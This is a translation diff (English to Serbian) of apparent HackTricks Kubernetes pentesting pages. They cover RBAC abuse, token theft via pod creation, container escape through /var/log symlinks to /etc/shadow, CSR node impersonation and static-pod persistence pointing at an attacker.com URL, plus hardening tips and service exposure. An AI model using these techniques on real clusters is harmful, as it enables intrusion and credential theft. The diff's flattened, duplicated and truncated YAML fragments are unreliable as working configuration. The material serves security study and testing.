-### From the Outside
+### Spolja
 
-There are several possible **Kubernetes services that you could find exposed** on the Internet (or inside internal networks). If you find them you know there is Kubernetes environment in there.
+Postoji nekoliko mogućih **Kubernetes usluga koje možete pronaći izložene** na internetu (ili unutar internih mreža). Ako ih pronađete, znate da postoji Kubernetes okruženje unutra.
 
-Depending on the configuration and your privileges you might be able to abuse that environment, for more information:
+U zavisnosti od konfiguracije i vaših privilegija, možda ćete moći da zloupotrebite to okruženje, za više informacija:

-### Enumerating Kubernetes with Credentials
+### Enumeracija Kubernetesa sa kredencijalima
 
-You might have managed to compromise **user credentials, a user token or some service account toke**n. You can use it to talk to the Kubernetes API service and try to **enumerate it to learn more** about it:
+Možda ste uspeli da kompromitujete **korisničke kredencijale, korisnički token ili neki token servisnog naloga**. Možete ga koristiti za komunikaciju sa Kubernetes API servisom i pokušati da **enumerišete da biste saznali više** o njemu:

-Another important details about enumeration and Kubernetes permissions abuse is the **Kubernetes Role-Based Access Control (RBAC)**. If you want to abuse permissions, you first should read about it here:
+Još jedan važan detalj o enumeraciji i zloupotrebi Kubernetes dozvola je **Kubernetes Role-Based Access Control (RBAC)**. Ako želite da zloupotrebite dozvole, prvo biste trebali da pročitate o tome ovde:

-If you have compromised a K8s account or a pod, you might be able able to move to other clouds. This is because in clouds like AWS or GCP is possible to **give a K8s SA permissions over the cloud**.
+Ako ste kompromitovali K8s nalog ili pod, možda ćete moći da pređete na druge cloud-ove. To je zato što je u cloud-ovima kao što su AWS ili GCP moguće **dati K8s SA dozvole nad cloud-om**.

-## **Privilege Escalation**
+## **Povećanje privilegija**
 
-Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**:
+Odnosi se na veštinu dobijanja **pristupa različitom principalu** unutar klastera **sa različitim privilegijama** (unutar kubernetes klastera ili prema spoljnim cloud-ovima) od onih koje već imate, u Kubernetes-u postoje osnovno **4 glavne tehnike za povećanje privilegija**:
 
-- Be able to **impersonate** other user/groups/SAs with better privileges within the kubernetes cluster or to external clouds
-- Be able to **create/patch/exec pods** where you can **find or attach SAs** with better privileges within the kubernetes cluster or to external clouds
-- Be able to **read secrets** as the SAs tokens are stored as secrets
-- Be able to **escape to the node** from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any)
-- A fifth technique that deserves a mention is the ability to **run port-forward** in a pod, as you may be able to access interesting resources within that pod.
+- Možete **imitirati** druge korisnike/grupe/SAs sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima
+- Možete **kreirati/patch/exec pods** gde možete **pronaći ili povezati SAs** sa boljim privilegijama unutar kubernetes klastera ili prema spoljnim cloud-ovima
+- Možete **čitati tajne** jer su SAs tokeni pohranjeni kao tajne
+- Možete **pobeći na čvor** iz kontejnera, gde možete ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, kredencijale čvora i dozvole čvora unutar clouda u kojem se izvršava (ako ih ima)
+- Peta tehnika koja zaslužuje pominjanje je sposobnost da **pokrenete port-forward** u podu, jer možda možete pristupiti zanimljivim resursima unutar tog poda.
 
-### Access Any Resource or Verb (Wildcard)
-
-The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster
+### Pristup bilo kojem resursu ili glagolu (Wildcard)
 
+**wildcard (\*) daje dozvolu za bilo koji resurs sa bilo kojim glagolom**. Koriste ga administratori. Unutar ClusterRole to znači da bi napadač mogao da zloupotrebi anynamespace u klasteru
 ```yaml
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
 metadata:
-  name: api-resource-verbs-all
+name: api-resource-verbs-all
 rules:
 rules:
 - apiGroups: ["*"]
-  resources: ["*"]
-  verbs: ["*"]
+resources: ["*"]
+verbs: ["*"]
 ```
+### Pristup bilo kojem resursu sa specifičnom akcijom
 
-### Access Any Resource with a specific verb
-
-In RBAC, certain permissions pose significant risks:
-
-1. **`create`:** Grants the ability to create any cluster resource, risking privilege escalation.
-2. **`list`:** Allows listing all resources, potentially leaking sensitive data.
-3. **`get`:** Permits accessing secrets from service accounts, posing a security threat.
+U RBAC-u, određene dozvole predstavljaju značajne rizike:
 
+1. **`create`:** Daje mogućnost kreiranja bilo kog klasterskog resursa, što može dovesti do eskalacije privilegija.
+2. **`list`:** Omogućava listanje svih resursa, potencijalno otkrivajući osetljive podatke.
+3. **`get`:** Dozvoljava pristup tajnama iz servisnih naloga, što predstavlja bezbednosnu pretnju.

 ### Pod Create - Steal Token
 
-An atacker with the permissions to create a pod, could attach a privileged Service Account into the pod and steal the token to impersonate the Service Account. Effectively escalating privileges to it
-
-Example of a pod that will steal the token of the `bootstrap-signer` service account and send it to the attacker:
+Napadač sa dozvolama za kreiranje poda može da prikači privilegovani servisni nalog u pod i ukrade token da bi se pretvarao da je taj servisni nalog. Efektivno povećavajući privilegije.
 
+Primer poda koji će ukrasti token servisnog naloga `bootstrap-signer` i poslati ga napadaču:
 ```yaml
 apiVersion: v1
 kind: Pod

 ### Pod Create & Escape
 
-The following indicates all the privileges a container can have:
-
-- **Privileged access** (disabling protections and setting capabilities)
-- **Disable namespaces hostIPC and hostPid** that can help to escalate privileges
-- **Disable hostNetwork** namespace, giving access to steal nodes cloud privileges and better access to networks
-- **Mount hosts / inside the container**
+Sledeće ukazuje na sve privilegije koje kontejner može imati:
 
+- **Privilegovan pristup** (onemogućavanje zaštita i postavljanje sposobnosti)
+- **Onemogućavanje namespaces hostIPC i hostPid** koji mogu pomoći u eskalaciji privilegija
+- **Onemogućavanje hostNetwork** namespace-a, dajući pristup za krađu privilegija čvora u oblaku i bolji pristup mrežama
+- **Montiranje hostova / unutar kontejnera**

 ### **Pods Exec**
 
-**`pods/exec`** is a resource in kubernetes used for **running commands in a shell inside a pod**. This allows to **run commands inside the containers or get a shell inside**.
-
-Therfore, it's possible to **get inside a pod and steal the token of the SA**, or enter a privileged pod, escape to the node, and steal all the tokens of the pods in the node and (ab)use the node:
+**`pods/exec`** je resurs u kubernetes-u koji se koristi za **izvršavanje komandi u shell-u unutar poda**. Ovo omogućava **izvršavanje komandi unutar kontejnera ili dobijanje shell-a unutar**.
 
+Stoga, moguće je **ući u pod i ukrasti token SA**, ili ući u privilegovani pod, pobjeći na čvor i ukrasti sve tokene podova na čvoru i (zlo)upotrebiti čvor:
 ```bash
 kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
 ```
-
 ### port-forward
 
-This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod:
-
+Ova dozvola omogućava **prosleđivanje jednog lokalnog porta na jedan port u specificiranom podu**. Ovo je namenjeno da se olakša debagovanje aplikacija koje se izvršavaju unutar poda, ali napadač bi to mogao zloupotrebiti da dobije pristup zanimljivim (kao što su DB-ovi) ili ranjivim aplikacijama (web?) unutar poda:
 ```
 kubectl port-forward pod/mypod 5000:5000
 ```
-
 ### Hosts Writable /var/log/ Escape
 
-As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
-This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs <pod>`), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\
-The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**.
+Kao [**što je naznačeno u ovom istraživanju**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), ako možete pristupiti ili kreirati pod sa **montiranim direktorijumom `/var/log/`** na njemu, možete **pobeći iz kontejnera**.\
+To je u suštini zato što kada **Kube-API pokušava da dobije logove** kontejnera (koristeći `kubectl logs <pod>`), **zahteva `0.log`** datoteku pod-a koristeći `/logs/` endpoint **Kubelet** servisa.\
+Kubelet servis izlaže `/logs/` endpoint koji u suštini **izlaže `/var/log` datotečni sistem kontejnera**.
 
-Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways:
-
-- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
+Stoga, napadač sa **pristupom za pisanje u /var/log/ folder** kontejnera mogao bi da zloupotrebi ovo ponašanje na 2 načina:
 
+- Modifikovanjem `0.log` datoteke svog kontejnera (obično se nalazi u `/var/logs/pods/namespace_pod_uid/container/0.log`) da bude **simbolička veza koja pokazuje na `/etc/shadow`** na primer. Tada ćete moći da exfiltrirate hosts shadow datoteku radeći:

 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
 # Keep incrementing tail to exfiltrate the whole file

-
-- If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://<gateway>:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files).

 #### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
 
-As stated in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) it’s possible to bypass the protection:
-
+Kao što je navedeno u [**ovoj studiji**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), moguće je zaobići zaštitu:

-       readOnly: true
+- pathPrefix: "/foo"
+readOnly: true
 ```

-Which was meant to prevent escapes like the previous ones by, instead of using a a hostPath mount, use a PersistentVolume and a PersistentVolumeClaim to mount a hosts folder in the container with writable access:

+### Čitanje tajne – brute-forcing ID-ova tokena
 
-### Reading a secret – brute-forcing token IDs
+Dok napadač u posedu tokena sa dozvolama za čitanje zahteva tačno ime tajne da bi je koristio, za razliku od šire privilegije _**listing secrets**_, i dalje postoje ranjivosti. Podrazumevani servisni nalozi u sistemu mogu se enumerisati, svaki povezan sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen nasumičnim alfanumeričkim tokenom od pet karaktera (izuzimajući određene karaktere) prema [izvornom kodu](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
 
-While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
+Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz punog alfanumeričkog opsega. Ova ograničenja smanjuju ukupan broj mogućih kombinacija na 14,348,907 (27^5). Kao rezultat, napadač bi mogao izvesti brute-force napad da bi dedukovao token u roku od nekoliko sati, što bi potencijalno moglo dovesti do eskalacije privilegija pristupom osetljivim servisnim nalozima.
 
-The token is generated from a limited 27-character set (`bcdfghjklmnpqrstvwxz2456789`), rather than the full alphanumeric range. This limitation reduces the total possible combinations to 14,348,907 (27^5). Consequently, an attacker could feasibly execute a brute-force attack to deduce the token in a matter of hours, potentially leading to privilege escalation by accessing sensitive service accounts.
+### Zahtevi za potpisivanje sertifikata
 
-### Certificate Signing Requests
+Ako imate glagole **`create`** u resursu `certificatesigningrequests` (ili barem u `certificatesigningrequests/nodeClient`). Možete **napraviti** novi CeSR za **novi čvor.**
 
-If you have the verbs **`create`** in the resource `certificatesigningrequests` ( or at least in `certificatesigningrequests/nodeClient`). You can **create** a new CeSR of a **new node.**
-
-According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in that case you **don't need extra permissions**. If not, you would need to be able to approve the request, which means update in `certificatesigningrequests/approval` and `approve` in `signers` with resourceName `<signerNameDomain>/<signerNamePath>` or `<signerNameDomain>/*`
-
-An **example of a role** with all the required permissions is:
+Prema [dokumentaciji, moguće je automatski odobriti ove zahteve](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), tako da u tom slučaju **ne trebate dodatne dozvole**. Ako ne, morali biste biti u mogućnosti da odobrite zahtev, što znači ažuriranje u `certificatesigningrequests/approval` i `approve` u `signers` sa resourceName `<signerNameDomain>/<signerNamePath>` ili `<signerNameDomain>/*`
 
+**Primer uloge** sa svim potrebnim dozvolama je:
 ```yaml

+Dakle, sa novim odobrenim CSR-om čvora, možete **iskoristiti** posebne dozvole čvorova da **ukradete tajne** i **povećate privilegije**.
 
-So, with the new node CSR approved, you can **abuse** the special permissions of nodes to **steal secrets** and **escalate privileges**.
-
-In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\
-If you **have the mentioned privileges yo could do the same thing**. Note that the first example bypasses the error preventing a new node to access secrets inside containers because a **node can only access the secrets of containers mounted on it.**
-
-The way to bypass this is just to **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post):
+U [**ovom postu**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) i [**ovom**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) GKE K8s TLS Bootstrap konfiguracija je podešena sa **automatskim potpisivanjem** i koristi se za generisanje kredencijala novog K8s čvora, a zatim se koristi za povećanje privilegija ukradanjem tajni.\
+Ako **imate pomenute privilegije, mogli biste uraditi istu stvar**. Imajte na umu da prvi primer zaobilazi grešku koja sprečava novi čvor da pristupi tajnama unutar kontejnera jer **čvor može pristupiti samo tajnama kontejnera koji su montirani na njemu.**
 
+Način da se to zaobiđe je jednostavno **napraviti kredencijale čvora za ime čvora gde je kontejner sa zanimljivim tajnama montiran** (ali samo proverite kako to uraditi u prvom postu):
 ```bash
 "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

-### Escalating in GKE
+### Eskalacija u GKE
 
-There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
+Postoje **2 načina da se dodele K8s dozvole GCP principalima**. U svakom slučaju, principal takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi akreditive za pristup klasteru, ili ćete morati da **generišete svoj vlastiti kubectl config fajl** (pratite sledeći link).
 
 > [!WARNING]
-> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
-> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
+> Kada komunicirate sa K8s API krajnjom tačkom, **GCP auth token će biti poslat**. Tada će GCP, preko K8s API krajnje tačke, prvo **proveriti da li principal** (prema emailu) **ima bilo kakav pristup unutar klastera**, zatim će proveriti da li ima **bilo kakav pristup putem GCP IAM**.\
+> Ako je **bilo koja** od ovih **tačna**, biće mu **odgovoreno**. Ako **nije**, biće data **greška** koja sugeriše da se **dozvole dodele putem GCP IAM**.
 
-Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
+Prvi metod je korišćenje **GCP IAM**, K8s dozvole imaju svoje **ekvivalentne GCP IAM dozvole**, i ako principal to ima, moći će da ga koristi.

-### Escalate
+### Eskalirati
 
-As you can read in the next section: [**Built-in Privileged Escalation Prevention**](./#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions.

-Then he can update/create new roles, clusterroles with better permissions than the ones he has.
+Kao što možete pročitati u sledećoj sekciji: [**Ugrađena prevencija eskalacije privilegija**](./#built-in-privileged-escalation-prevention), principal ne može da ažurira niti kreira uloge ili klaster uloge bez da sam ima te nove dozvole.

+Ovaj sistem osigurava da **korisnici ne mogu povećati svoje privilegije modifikovanjem uloga ili veza uloga**. Sprovođenje ovog pravila se dešava na API nivou, pružajući zaštitu čak i kada je RBAC autorizer neaktivan.
 
-This system ensures that **users cannot elevate their privileges by modifying roles or role bindings**. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive.
-
-The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.
+Pravilo stipulira da **korisnik može kreirati ili ažurirati ulogu samo ako poseduje sve dozvole koje uloga obuhvata**. Štaviše, opseg postojećih dozvola korisnika mora se poklapati sa onim uloge koju pokušava da kreira ili modifikuje: ili na nivou klastera za ClusterRoles ili ograničeno na istu namespace (ili na nivou klastera) za Roles.
 
 > [!WARNING]
-> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
+> Postoji izuzetak od prethodnog pravila. Ako neki principal ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije uloga i clusterroles čak i bez da sam ima te dozvole.
 
-### **Get & Patch RoleBindings/ClusterRoleBindings**
+### **Preuzmi & Patch RoleBindings/ClusterRoleBindings**
 
 > [!CAUTION]
-> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
+> **Očigledno je da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/modifikovati rolebinding da biste sebi ili drugom SA dali neke privilegije ako ih već nemate.**
 
-The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
+Privilegija za kreiranje Rolebindings omogućava korisniku da **veže uloge za servisni nalog**. Ova privilegija može potencijalno dovesti do eskalacije privilegija jer **omogućava korisniku da veže administratorske privilegije za kompromitovani servisni nalog.**

-### Malicious Admission Controller
+Admission controller **presreće zahteve ka Kubernetes API serveru** pre nego što dođe do trajanja objekta, ali **nakon što je zahtev autentifikovan** **i autorizovan**.
 
-An admission controller **intercepts requests to the Kubernetes API server** before the persistence of the object, but **after the request is authenticated** **and authorized**.
-
-If an attacker somehow manages to **inject a Mutationg Admission Controller**, he will be able to **modify already authenticated requests**. Being able to potentially privesc, and more usually persist in the cluster.

-**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
+Ako napadač nekako uspe da **ubaci Mutationg Admission Controller**, moći će da **modifikuje već autentifikovane zahteve**. Biće u mogućnosti da potencijalno izvrši privesc, i obično da se zadrži u klasteru.

 ### **Disabling Automount of Service Account Tokens**
 
-- **Pods and Service Accounts**: By default, pods mount a service account token. To enhance security, Kubernetes allows the disabling of this automount feature.
-- **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6.
+- **Pods and Service Accounts**: Po defaultu, podovi montiraju token servisa. Da bi se poboljšala sigurnost, Kubernetes omogućava onemogućavanje ove automount funkcije.
+- **How to Apply**: Postavite `automountServiceAccountToken: false` u konfiguraciji servisnih naloga ili podova počevši od Kubernetes verzije 1.6.
 
 ### **Restrictive User Assignment in RoleBindings/ClusterRoleBindings**
 
-- **Selective Inclusion**: Ensure that only necessary users are included in RoleBindings or ClusterRoleBindings. Regularly audit and remove irrelevant users to maintain tight security.
+- **Selective Inclusion**: Osigurajte da su samo neophodni korisnici uključeni u RoleBindings ili ClusterRoleBindings. Redovno proveravajte i uklanjajte irelevantne korisnike kako biste održali strogu sigurnost.
 
 ### **Namespace-Specific Roles Over Cluster-Wide Roles**
 
-- **Roles vs. ClusterRoles**: Prefer using Roles and RoleBindings for namespace-specific permissions rather than ClusterRoles and ClusterRoleBindings, which apply cluster-wide. This approach offers finer control and limits the scope of permissions.
+- **Roles vs. ClusterRoles**: Preferirajte korišćenje Roles i RoleBindings za dozvole specifične za namespace umesto ClusterRoles i ClusterRoleBindings, koje se primenjuju na nivou klastera. Ovaj pristup nudi finiju kontrolu i ograničava opseg dozvola.

-- Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
-- Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
-  - This is the way yo show the user could escalate privileges this way
+- **Servisni nalog "test-sa"** sa privilegijama klastera za **čitati tajne**
+- Biće kreirani ClusterRole "test-cr" i ClusterRoleBinding "test-crb"
+- **Dozvole** za listanje i **kreiranje** podova biće date korisniku pod imenom "**Test**"
+- Biće kreirani Role "test-r" i RoleBinding "test-rb"
+- Zatim ćemo **potvrditi** da SA može da listira tajne i da korisnik Test može da listira podove
+- Na kraju ćemo **imitirati korisnika Test** da **kreiramo pod** koji uključuje **SA test-sa** i **ukrademo** servisni nalog **token.**
+- Ovo je način da se pokaže kako bi korisnik mogao da eskalira privilegije na ovaj način
 
 > [!NOTE]
-> To create the scenario an admin account is used.\
-> Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, **as explained here**, the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
-
+> Za kreiranje scenarija koristi se administratorski nalog.\
+> Pored toga, da bi se **izvršila eksfiltracija sa tokena** u ovom primeru koristi se **administratorski nalog** za exec unutar kreiranog poda. Međutim, **kao što je objašnjeno ovde**, **deklaracija poda može sadržati eksfiltraciju tokena**, tako da "exec" privilegija nije neophodna za eksfiltraciju tokena, **"create" dozvola je dovoljna**.

+Ako se pod pokreće unutar **cloud okruženja**, možda ćete moći da **iscurite token sa metadata endpoint-a** i povećate privilegije koristeći ga.
 
 ## Search vulnerable network services
 
-As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.**
+Dok ste unutar Kubernetes okruženja, ako ne možete da povećate privilegije koristeći trenutne privilegije podova i ne možete da pobegnete iz kontejnera, trebali biste **tražiti potencijalno ranjive usluge.**

-
+**U tu svrhu, možete pokušati da dobijete sve usluge Kubernetes okruženja:**
 ```
 kubectl get svc --all-namespaces

 ### Static/Mirrored Pods Persistence
 
-_Static Pods_ are managed directly by the kubelet daemon on a specific node, without the API server observing them. Unlike Pods that are managed by the control plane (for example, a Deployment); instead, the **kubelet watches each static Pod** (and restarts it if it fails).
+_Static Pods_ se direktno upravljaju od strane kubelet demona na određenom čvoru, bez da ih API server posmatra. Za razliku od Podova koji se upravljaju putem kontrolne ravni (na primer, Deployment); umesto toga, **kubelet prati svaki static Pod** (i ponovo ga pokreće ako ne uspe).
 
-Therefore, static Pods are always **bound to one Kubelet** on a specific node.
+Stoga, static Pods su uvek **vezani za jedan Kubelet** na određenom čvoru.
 
-The **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen.
+**Kubelet automatski pokušava da kreira mirror Pod na Kubernetes API serveru** za svaki static Pod. To znači da su Podovi koji se izvršavaju na čvoru vidljivi na API serveru, ali se ne mogu kontrolisati odatle. Imena Podova će imati sufiks sa imenom čvora sa vodećim crticama.
 
 > [!CAUTION]
-> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
+> **`spec` static Pod-a ne može se odnositi na druge API objekte** (npr., ServiceAccount, ConfigMap, Secret, itd.). Dakle, **ne možete zloupotrebiti ovo ponašanje da pokrenete pod sa proizvoljnim serviceAccount** na trenutnom čvoru da kompromitujete klaster. Ali možete to iskoristiti da pokrenete podove u različitim namespace-ima (ako je to iz nekog razloga korisno).
 
-If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**.
+Ako ste unutar čvora, možete ga naterati da kreira **static pod unutar sebe**. Ovo je prilično korisno jer bi moglo omogućiti da **kreirate pod u različitom namespace-u** kao što je **kube-system**.
 
-In order to create a static pod, the [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). You basically need 2 things:
+Da biste kreirali static pod, [**dokumentacija je velika pomoć**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). U suštini, potrebne su vam 2 stvari:
 
-- Configure the param **`--pod-manifest-path=/etc/kubernetes/manifests`** in the **kubelet service**, or in the **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) and restart the service
-- Create the definition on the **pod definition** in **`/etc/kubernetes/manifests`**
+- Konfigurišite parametar **`--pod-manifest-path=/etc/kubernetes/manifests`** u **kubelet servisu**, ili u **kubelet konfiguraciji** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) i restartujte servis
+- Kreirajte definiciju na **pod definiciji** u **`/etc/kubernetes/manifests`**
 
-**Another more stealth way would be to:**
+**Drugi, suptilniji način bi bio:**
 
-- Modify the param **`staticPodURL`** from **kubelet** config file and set something like `staticPodURL: http://attacker.com:8765/pod.yaml`. This will make the kubelet process create a **static pod** getting the **configuration from the indicated URL**.
-
-**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
+- Izmenite parametar **`staticPodURL`** u **kubelet** konfiguracionom fajlu i postavite nešto poput `staticPodURL: http://attacker.com:8765/pod.yaml`. Ovo će naterati kubelet proces da kreira **static pod** uzimajući **konfiguraciju sa naznačenog URL-a**.

-# Exposing Services in Kubernetes
+# Izlaganje usluga u Kubernetesu
 
 {{#include ../../banners/hacktricks-training.md}}
 
-There are **different ways to expose services** in Kubernetes so both **internal** endpoints and **external** endpoints can access them. This Kubernetes configuration is pretty critical as the administrator could give access to **attackers to services they shouldn't be able to access**.
+Postoje **različiti načini za izlaganje usluga** u Kubernetesu tako da i **interni** i **eksterni** krajnji tački mogu da im pristupe. Ova Kubernetes konfiguracija je prilično kritična jer administrator može dati pristup **napadačima uslugama kojima ne bi trebali imati pristup**.
 
-### Automatic Enumeration
-
-Before starting enumerating the ways K8s offers to expose services to the public, know that if you can list namespaces, services and ingresses, you can find everything exposed to the public with:
+### Automatska enumeracija
 
+Pre nego što počnete da enumerišete načine na koje K8s nudi izlaganje usluga javnosti, znajte da ako možete da navedete imena prostora, usluge i ulaze, možete pronaći sve što je izloženo javnosti sa:
 ```bash
 kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
-    echo "Namespace: $ns"
-    kubectl get service -n "$ns"
-    kubectl get ingress -n "$ns"
-    echo "=============================================="
-    echo ""
-    echo ""
+echo "Namespace: $ns"
+kubectl get service -n "$ns"
+kubectl get ingress -n "$ns"
+echo "=============================================="
+echo ""
+echo ""
 done | grep -v "ClusterIP"
 # Remove the last '| grep -v "ClusterIP"' to see also type ClusterIP
 ```
-
 ### ClusterIP
 
-A **ClusterIP** service is the **default** Kubernetes **service**. It gives you a **service inside** your cluster that other apps inside your cluster can access. There is **no external access**.
-
-However, this can be accessed using the Kubernetes Proxy:
+A **ClusterIP** usluga je **podrazumevana** Kubernetes **usluga**. Ona vam pruža **uslugu unutar** vašeg klastera kojoj mogu pristupiti druge aplikacije unutar vašeg klastera. **Nema spoljnog pristupa**.
 
+Međutim, ovo se može pristupiti koristeći Kubernetes Proxy:
 ```bash
 kubectl proxy --port=8080
 ```
-
-Now, you can navigate through the Kubernetes API to access services using this scheme:
+Sada možete navigirati kroz Kubernetes API da biste pristupili uslugama koristeći ovu shemu:
 
 `http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
 
-For example you could use the following URL:
+Na primer, možete koristiti sledeći URL:
 
 `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
 
-to access this service:
-
+da biste pristupili ovoj usluzi:
 ```yaml
 apiVersion: v1
 kind: Service
 metadata:
-  name: my-internal-service
+name: my-internal-service
 spec:
-  selector:
-    app: my-app
-  type: ClusterIP
-  ports:
-    - name: http
-      port: 80
-      targetPort: 80
-      protocol: TCP
+selector:
+app: my-app
+type: ClusterIP
+ports:
+- name: http
+port: 80
+targetPort: 80
+protocol: TCP
 ```
+_Ova metoda zahteva da pokrenete `kubectl` kao **autentifikovani korisnik**._
 
-_This method requires you to run `kubectl` as an **authenticated user**._
-
-List all ClusterIPs:
-
+Lista svih ClusterIP-ova:
 ```bash
 kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
 ```
-
 ### NodePort
 
-When **NodePort** is utilised, a designated port is made available on all Nodes (representing the Virtual Machines). **Traffic** directed to this specific port is then systematically **routed to the service**. Typically, this method is not recommended due to its drawbacks.
